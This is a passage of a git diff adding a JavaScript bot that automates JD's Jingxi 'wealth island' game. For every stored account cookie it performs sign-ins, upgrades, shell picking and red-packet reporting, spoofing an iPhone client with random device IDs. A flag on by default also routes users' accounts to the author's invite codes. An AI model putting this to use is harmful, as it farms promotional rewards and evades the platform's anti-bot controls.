e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_wealth_island.js b/backUp/gua_wealth_island.js new file mode 100644 index 0000000..99c9ed8 --- /dev/null +++ b/backUp/gua_wealth_island.js @@ -0,0 +1,1233 @@ +/* + https://st.jingxi.com/fortune_island/index2.html + + 18 0-23/2 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_wealth_island.js 财富大陆 + +*/ + +const $ = new Env('财富大陆'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +// const notify = $.isNode() ? require('./sendNotify') : ''; +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +$.InviteList = [] +$.innerInviteList = []; +const HelpAuthorFlag = true;//是否助力作者SH true 助力,false 不助力 + +// 热气球接客 每次运行接客次数 +let serviceNum = 10;// 每次运行接客次数 +if ($.isNode() && process.env.gua_wealth_island_serviceNum) { + serviceNum = Number(process.env.gua_wealth_island_serviceNum); +} + +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.appId = 10032; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return + } + console.log(`\n +想要我的财富吗 +我把它放在一个神奇的岛屿 +去找吧 +`) + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await run(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }).finally(() => { + $.done(); + }) +async function run() { + try{ + $.HomeInfo = '' + $.LeadInfo = '' + $.buildList = '' + $.Fund = '' + $.task = [] + $.Biztask = [] + $.Aggrtask = [] + $.Employtask = [] + + await GetHomePageInfo() + + if($.HomeInfo){ + $.InviteList.push($.HomeInfo.strMyShareId) + console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${$.HomeInfo.ddwCoinBalance} 当前财富:${$.HomeInfo.ddwRichBalance} 助力码:${$.HomeInfo.strMyShareId}`) + } + if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ + await $.wait(2000) + console.log(`\n新手引导`) + await noviceTask() + await GetHomePageInfo() + await $.wait(1000) + } + // 寻宝 + await XBDetail() + // 故事会 + await StoryInfo() + // 建筑升级 + await buildList() + // 签到 邀请奖励 + await sign() + // 签到-小程序 + await signs() + // 捡垃圾 + await pickshell(1) + // 热气球接客 + await service(serviceNum) + // 倒垃圾 + await RubbishOper() + // 导游 + await Guide() + // 撸珍珠 + await Pearl() + // 牛牛任务 + await ActTask() + // 日常任务、成就任务 + await UserTask() + + } + catch (e) { + console.log(e); + } +} +async function GetHomePageInfo() { + let e = getJxAppToken() + let additional= `&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}&ddwTaskId=&strShareId=&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor%2Cdaily_task%2Cguider_daily_task%2Ccfd_has_show_selef_point` + let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strVersion,strZone` + $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) + if($.HomeInfo){ + $.Fund = $.HomeInfo.Fund || '' + $.LeadInfo = $.HomeInfo.LeadInfo || '' + $.buildInfo = $.HomeInfo.buildInfo || '' + $.XbStatus = $.HomeInfo.XbStatus || [] + if($.buildInfo.buildList){ + $.buildList = $.buildInfo.buildList || '' + } + } +} +// 寻宝 +async function XBDetail(){ + try{ + let XBDetail = $.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0 && x.ddwColdEndTm <= parseInt(Date.now()/1000,10)) + if(XBDetail.length > 0){ + console.log(`\n开始寻宝`) + for(let k of XBDetail || []){ + if(k.ddwColdEndTm <= parseInt(Date.now()/1000,10)){ + await $.wait(2000) + let res = await taskGet(`user/TreasureHunt`, '_cfd_t,bizCode,dwEnv,ptag,source,strIndex,strZone', `&strIndex=${k.strIndex}`) + if(res && res.iRet == 0){ + if (res.AwardInfo.dwAwardType === 0) { + console.log(`${res.strAwardDesc},获得 ${res.AwardInfo.ddwValue} 金币`) + } else if (res.AwardInfo.dwAwardType === 1) { + console.log(`${res.strAwardDesc},获得 ${res.AwardInfo.ddwValue} 财富`) + } else { + console.log("寻宝失败\n"+$.toObj(res,res)) + } + }else if(res && res.sErrMsg){ + console.log(`寻宝失败 ${res.sErrMsg}`) + }else{ + console.log("寻宝失败\n"+$.toObj(res,res)) + } + } + } + }else{ + console.log('\n暂无宝物') + } + }catch (e) { + $.logErr(e); + } +} +// 故事会 +async function StoryInfo(){ + try{ + if($.HomeInfo.StoryInfo && $.HomeInfo.StoryInfo.StoryList){ + let additional = `` + let stk = `` + let type = `` + let res = `` + await $.wait(1000) + // 点击故事 + if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 1){ + if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4){ + console.log(`\n贩卖`) + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `CollectorOper` + res = await taskGet(`story/${type}`, stk, additional) + // console.log(JSON.stringify(res)) + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1){ + console.log(`\n故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` + type = `SpecialUserOper` + res = await taskGet(`story/${type}`, stk, additional) + // console.log(JSON.stringify(res)) + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2){ + console.log(`\n美人鱼`) + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=1&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `MermaidOper` + res = await taskGet(`story/${type}`, stk, additional) + console.log(JSON.stringify(res)) + } + } + if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4 && ( (res && res.iRet == 0) || res == '')){ + await pickshell(4) + await $.wait(1000) + console.log(`查询背包`) + additional = `&ptag=` + stk = `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + res = await taskGet(`story/querystorageroom`, stk, additional) + let TypeCnt = [] + if(res.Data && res.Data.Office){ + for(let i of res.Data.Office){ + TypeCnt.push(`${i.dwType}:${i.dwCount}`) + } + } + TypeCnt = TypeCnt.join(`|`) + if(TypeCnt){ + console.log(`出售`) + await $.wait(1000) + additional = `&ptag=&strTypeCnt=${TypeCnt}&dwSceneId=2` + stk = `_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strTypeCnt,strZone` + res = await taskGet(`story/sellgoods`, stk, additional) + await printRes(res, '贩卖') + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `CollectorOper` + res = await taskGet(`story/${type}`, stk, additional) + // console.log(JSON.stringify(res)) + } + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1 && ( (res && res.iRet == 0) || res == '')){ + if(res && res.iRet == 0 && res.Data && res.Data.Serve && res.Data.Serve.dwWaitTime){ + console.log(`等待 ${res.Data.Serve.dwWaitTime}秒`) + await $.wait(res.Data.Serve.dwWaitTime * 1000) + await $.wait(1000) + } + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=3&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` + type = `SpecialUserOper` + res = await taskGet(`story/${type}`, stk, additional) + await printRes(res, `故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) + // console.log(JSON.stringify(res)) + + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2 && ( (res && res.iRet == 0) || res == '')){ + if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 4){ + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + }else{ + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + } + await $.wait(5000) + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `MermaidOper` + res = await taskGet(`story/${type}`, stk, additional) + await printRes(res,'美人鱼') + // console.log(JSON.stringify(res)) + } + } + }catch (e) { + $.logErr(e); + } +} +// 建筑升级 +async function buildList(){ + try{ + await $.wait(2000) + console.log(`\n升级房屋、收集金币`) + if($.buildList){ + for(let i in $.buildList){ + let item = $.buildList[i] + let title = '未识别' + if(item.strBuildIndex == 'food'){ + title = '美食城' + }else if(item.strBuildIndex == 'sea'){ + title = '旅馆' + }else if(item.strBuildIndex == 'shop'){ + title = '商店' + }else if(item.strBuildIndex == 'fun'){ + title = '游乐场' + } + let additional = `&strBuildIndex=${item.strBuildIndex}` + let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + let GetBuildInfo = await taskGet(`user/GetBuildInfo`, stk, additional) + let msg = `\n[${title}] 当前等级:${item.dwLvl} 接待收入:${item.ddwOneceVistorAddCoin}/人 座位人数:${item.dwContain}` + if(GetBuildInfo) msg += `\n升级->需要金币:${GetBuildInfo.ddwNextLvlCostCoin} 获得财富:${GetBuildInfo.ddwLvlRich}` + console.log(msg) + await $.wait(1000) + if(GetBuildInfo.dwCanLvlUp > 0){ + console.log(`${item.dwLvl == 0 && '开启' || '升级'}${title}`) + if(item.dwLvl == 0){ + await taskGet(`user/createbuilding`, stk, additional) + }else{ + if(GetBuildInfo){ + additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&ddwCostCoin=${GetBuildInfo.ddwNextLvlCostCoin}` + stk = `_cfd_t,bizCode,ddwCostCoin,dwEnv,ptag,source,strBuildIndex,strZone` + let update = await taskGet(`user/BuildLvlUp`, stk, additional) + if(update && update.story && update.story.strToken){ + await $.wait(Number(update.story.dwWaitTriTime) * 1000) + await $.wait(1000) + additional= `&strToken=${update.story.strToken}&ddwTriTime=${update.story.ddwTriTime}` + stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + // await taskGet(`story/QueryUserStory`, stk, additional) + } + } + } + await $.wait(2000) + } + additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&dwType=1` + stk = `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone` + let CollectCoin = await taskGet(`user/CollectCoin`, stk, additional) + if(CollectCoin && CollectCoin.ddwCoinBalance){ + console.log(`收集金币:${CollectCoin.ddwCoin} 当前剩余:${CollectCoin.ddwCoinBalance}`) + await $.wait(Number(CollectCoin.story.dwWaitTriTime) * 1000) + additional= `&strToken=${CollectCoin.story.strToken}&ddwTriTime=${CollectCoin.story.ddwTriTime}` + stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + // await taskGet(`story/QueryUserStory`, stk, additional) + } + await $.wait(1000) + } + await GetHomePageInfo() + await $.wait(1000) + } + if($.Fund && $.Fund.dwIsGetGift < $.Fund.dwIsShowFund){ + console.log(`\n领取开拓基金${Number($.Fund.strGiftName)}元`) + let additional= `` + let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + let drawpackprize = await taskGet(`user/drawpackprize`, stk, additional) + } + + }catch (e) { + $.logErr(e); + } +} +// 签到 邀请奖励 +async function sign(){ + try{ + // 签到 + await $.wait(2000) + $.Aggrtask = await taskGet(`story/GetTakeAggrPage`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ + if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { + console.log('\n签到') + let flag = false + let ddwCoin = 0 + let ddwMoney = 0 + let dwPrizeType = 0 + let strPrizePool = 0 + let dwPrizeLv = 0 + for(i of $.Aggrtask.Data.Sign.SignList){ + if(i.dwStatus == 0){ + flag = true + ddwCoin = i.ddwCoin || 0 + ddwMoney = i.ddwMoney || 0 + dwPrizeType = i.dwPrizeType || 0 + strPrizePool = i.strPrizePool || 0 + dwPrizeLv = i.dwBingoLevel || 0 + break; + } + } + if(flag){ + let e = getJxAppToken() + let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` + let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` + let res = await taskGet(`story/RewardSign`, stk, additional) + await printRes(res, '签到') + } + } + } + + if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ + if($.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ + console.log(`\n领取邀请奖励(${$.Aggrtask.Data.Employee.EmployeeList.length || 0}/${$.Aggrtask.Data.Employee.dwNeedTotalPeople || 0})`) + for(let i of $.Aggrtask.Data.Employee.EmployeeList){ + if(i.dwStatus == 0){ + let res = await taskGet(`story/helpdraw`, '_cfd_t,bizCode,dwEnv,dwUserId,ptag,source,strZone', `&ptag=&dwUserId=${i.dwId}`) + await printRes(res, '邀请奖励') + } + } + } + } + }catch (e) { + $.logErr(e); + } +} +// 签到-小程序 +async function signs(){ + try{ + // 签到-小程序 + await $.wait(2000) + $.Aggrtask = await taskGet(`story/GetTakeAggrPages`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ + if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { + console.log('\n签到-小程序') + let flag = false + let ddwCoin = 0 + let ddwMoney = 0 + let dwPrizeType = 0 + let strPrizePool = 0 + let dwPrizeLv = 0 + for(i of $.Aggrtask.Data.Sign.SignList){ + if(i.dwStatus == 0){ + flag = true + ddwCoin = i.ddwCoin || 0 + ddwMoney = i.ddwMoney || 0 + dwPrizeType = i.dwPrizeType || 0 + strPrizePool = i.strPrizePool || 0 + dwPrizeLv = i.dwBingoLevel || 0 + break; + } + } + if(flag){ + let e = getJxAppToken() + let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` + let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` + let res = await taskGet(`story/RewardSigns`, stk, additional) + await printRes(res, '签到-小程序') + } + } + } + }catch (e) { + $.logErr(e); + } +} +// 捡垃圾 +async function pickshell(num = 1){ + return new Promise(async (resolve) => { + try{ + console.log(`\n捡垃圾`) + // pickshell dwType 1珍珠 2海螺 3大海螺 4海星 5小贝壳 6扇贝 + for(i=1;num--;i++){ + await $.wait(2000) + $.queryshell = await taskGet(`story/queryshell`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) + let c = 6 + for(i=1;c--;i++){ + let o = 1 + let name = '珍珠' + if(i == 2) name = '海螺' + if(i == 3) name = '大海螺' + if(i == 4) name = '海星' + if(i == 5) name = '小贝壳' + if(i == 6) name = '扇贝' + do{ + console.log(`去捡${name}第${o}次`) + o++; + let res = await taskGet(`story/pickshell`, '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', `&ptag=&dwType=${i}`) + await $.wait(200) + if(!res || res.iRet != 0){ + break + } + }while (o < 20) + } + } + }catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }) +} +// 热气球接客 +async function service(num = 1){ + return new Promise(async (resolve) => { + try{ + console.log(`\n热气球接客`) + let arr = ['food','sea','shop','fun'] + for(i=1;num--;i++){ + let strBuildIndex = arr[Math.floor((Math.random()*arr.length))] + console.log(`第${i}/${num+i}次:${strBuildIndex}`) + let res = await taskGet(`user/SpeedUp`, '_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${strBuildIndex}`) + if(res && res.iRet == 0){ + console.log(`当前气球次数:${res.dwTodaySpeedPeople} 金币速度:${res.ddwSpeedCoin}`) + // additional= `&strToken=${res.story.strToken}&ddwTriTime=${res.story.ddwTriTime}` + // stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + // await taskGet(`story/QueryUserStory`, stk, additional) + await $.wait(1000) + } + } + }catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }) +} +// 倒垃圾 +async function RubbishOper(){ + try{ + // 倒垃圾 + await $.wait(2000) + $.QueryRubbishInfo = await taskGet(`story/QueryRubbishInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.QueryRubbishInfo && $.QueryRubbishInfo.Data && $.QueryRubbishInfo.Data.StoryInfo.StoryList){ + for(let i of $.QueryRubbishInfo.Data.StoryInfo.StoryList){ + let res = '' + if(i.strStoryId == 3){ + console.log(`\n倒垃圾`) + $.RubbishOper = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwType,ptag,source,strZone', '&ptag=&dwType=1&dwRewardType=0') + if($.RubbishOper && $.RubbishOper.Data && $.RubbishOper.Data.ThrowRubbish && $.RubbishOper.Data.ThrowRubbish.Game && $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ + for(let j of $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ + console.log(`放置[${j.strName}]等待任务完成`) + res = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwRubbishId,dwType,ptag,source,strZone', `&ptag=&dwType=2&dwRewardType=0&dwRubbishId=${j.dwId}`) + await $.wait(2000) + } + if(res && res.Data && res.Data.RubbishGame && res.Data.RubbishGame.AllRubbish && res.Data.RubbishGame.AllRubbish.dwIsGameOver && res.Data.RubbishGame.AllRubbish.dwIsGameOver == 1){ + console.log(`任务完成获得:${res.Data.RubbishGame.AllRubbish.ddwCoin && res.Data.RubbishGame.AllRubbish.ddwCoin+'金币' || ''}`) + }else{ + console.log(JSON.stringify(res)) + } + } + } + } + } + }catch (e) { + $.logErr(e); + } +} +// 雇佣导游 +async function Guide(){ + try{ + await $.wait(2000) + $.Employtask = await taskGet(`user/EmployTourGuideInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Employtask && $.Employtask.TourGuideList){ + console.log(`\n雇佣导游`) + let num = $.Employtask.dwRemainGuideCnt + console.log(`当前可雇佣劳动人数:${num}`) + let arr = []; + for(let i in $.Employtask.TourGuideList){ + let item = $.Employtask.TourGuideList[i] + let larr = [],res = true + arr.forEach((x)=>{ + if(x.ddwProductCoin < item.ddwProductCoin && res == true){ + larr.push(item) + res = false + } + larr.push(x) + }) + if(res) larr.push(item) + arr = larr + } + for(let i of arr){ + console.log(`${i.strGuideName} 收益:${i.ddwProductCoin} 支付成本:${i.ddwCostCoin} 剩余工作时长:${timeFn(Number(i.ddwRemainTm || 0) * 1000)}`) + let dwIsFree = 0 + let ddwConsumeCoin = i.ddwCostCoin + if(i.dwFreeMin != 0) dwIsFree = 1 + if(num > 0 && i.ddwRemainTm == 0){ + res = await taskGet(`user/EmployTourGuide`, '_cfd_t,bizCode,ddwConsumeCoin,dwEnv,dwIsFree,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${i.strBuildIndex}&dwIsFree=${dwIsFree}&ddwConsumeCoin=${ddwConsumeCoin}`) + if(res.iRet == 0){ + console.log(`雇佣成功`) + num--; + }else{ + console.log(`雇佣失败:`, JSON.stringify(res)) + } + await $.wait(3000) + } + } + } + + }catch (e) { + $.logErr(e); + } +} +// 撸珍珠 +async function Pearl(){ + try{ + await $.wait(2000) + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') + console.log(`\n当前有${$.ComposeGameState.dwCurProgress}个月饼${$.ComposeGameState.ddwVirHb && ' '+$.ComposeGameState.ddwVirHb/100+"红包" || ''}`) + if($.ComposeGameState.dayDrawInfo.dwIsDraw == 0){ + let res = '' + res = await taskGet(`user/GetPearlDailyReward`, '__t,strZone', ``) + if(res && res.iRet == 0 && res.strToken){ + res = await taskGet(`user/PearlDailyDraw`, '__t,ddwSeaonStart,strToken,strZone', `&ddwSeaonStart=${$.ComposeGameState.ddwSeasonStartTm}&strToken=${res.strToken}`) + if(res && res.iRet == 0){ + if(res.strPrizeName){ + console.log(`抽奖获得:${res.strPrizeName || $.toObj(res,res)}`) + }else{ + console.log(`抽奖获得:${$.toObj(res,res)}`) + } + }else{ + console.log("抽奖失败\n"+$.toObj(res,res)) + } + }else{ + console.log($.toObj(res,res)) + } + } + if (($.ComposeGameState.dwCurProgress < 8 || true) && $.ComposeGameState.strDT) { + let b = 1 + console.log(`合月饼${b}次 `) + // b = 8-$.ComposeGameState.dwCurProgress + for(i=1;b--;i++){ + let n = Math.ceil(Math.random()*12+12) + console.log(`上报次数${n}`) + for(m=1;n--;m++){ + console.log(`上报第${m}次`) + await $.wait(5000) + await taskGet(`user/RealTmReport`, '', `&dwIdentityType=0&strBussKey=composegame&strMyShareId=${$.ComposeGameState.strMyShareId}&ddwCount=10`) + let s = Math.floor((Math.random()*3)) + let n = 0 + if(s == 1) n = 1 + if(n === 1){ + let res = await taskGet(`user/ComposePearlAward`, '__t,size,strBT,strZone,type', `__t=${Date.now()}&type=4&size=1&strBT=${$.ComposeGameState.strDT}`) + if(res && res.iRet == 0){ + console.log(`上报得红包:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包" || ''}${res.ddwVirHb && ' 当前有'+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log($.toObj(res,res)) + } + } + } + console.log("合成月饼") + let strLT = ($.ComposeGameState.oPT || [])[$.ComposeGameState.ddwCurTime % ($.ComposeGameState.oPT || []).length] + let res = await taskGet(`user/ComposePearlAddProcess`, '__t,strBT,strLT,strZone', `&strBT=${$.ComposeGameState.strDT}&strLT=${strLT}`) + if(res && res.iRet == 0){ + console.log(`合成成功:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包 " || ''}当前有${res.dwCurProgress}个月饼${res.ddwVirHb && ' '+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log(JSON.stringify(res)) + } + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') + } + } + for (let i of $.ComposeGameState.stagelist || []) { + if (i.dwIsAward == 0 && $.ComposeGameState.dwCurProgress >= i.dwCurStageEndCnt) { + await $.wait(2000) + let res = await taskGet(`user/ComposeGameAward`, '__t,dwCurStageEndCnt,strZone', `&dwCurStageEndCnt=${i.dwCurStageEndCnt}`) + await printRes(res,'月饼领奖') + } + } + }catch (e) { + $.logErr(e); + } +} +// 牛牛任务 +async function ActTask(){ + try{ + let res = '' + await $.wait(2000) + $.Biztask = await taskGet(`story/GetActTask`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Biztask && $.Biztask.Data && $.Biztask.Data.dwStatus != 4){ + console.log(`\n牛牛任务`) + if($.Biztask.Data.dwStatus == 3 && $.Biztask.Data.dwTotalTaskNum && $.Biztask.Data.dwCompleteTaskNum && $.Biztask.Data.dwTotalTaskNum == $.Biztask.Data.dwCompleteTaskNum){ + res = await taskGet(`story/ActTaskAward`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) + if(res.iRet == 0){ + console.log(`领取全部任务奖励:`, res.Data.ddwBigReward || '') + }else{ + console.log(`领取全部任务奖励失败:`, JSON.stringify(res)) + } + } + for(let i in $.Biztask.Data.TaskList){ + let item = $.Biztask.Data.TaskList[i] + if(item.dwAwardStatus != 2 && item.dwCompleteNum === item.dwTargetNum) continue + console.log(`任务 ${item.strTaskName} ${item.dwCompleteNum}/${item.dwTargetNum}`) + if (item.dwAwardStatus == 2 && item.dwCompleteNum === item.dwTargetNum) { + res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney){ + console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && res.data.prizeInfo.ddwCoin+'金币' || ''} ${res.data.prizeInfo.ddwMoney && res.data.prizeInfo.ddwMoney+'财富' || ''}`) + }else{ + console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) + } + await $.wait(1000) + } + if(item.dwAwardStatus == 2 && item.dwCompleteNum < item.dwTargetNum && [1,2].includes(item.dwOrderId)){ + await $.wait(1000) + if(item.strTaskName.indexOf('热气球接待') > -1){ + let b = (item.dwTargetNum-item.dwCompleteNum) + // 热气球接客 + await service(b) + await $.wait((Number(item.dwLookTime) * 1000) || 1000) + }else if(item.dwPointType == 301){ + await $.wait((Number(item.dwLookTime) * 1000) || 1000) + res = await 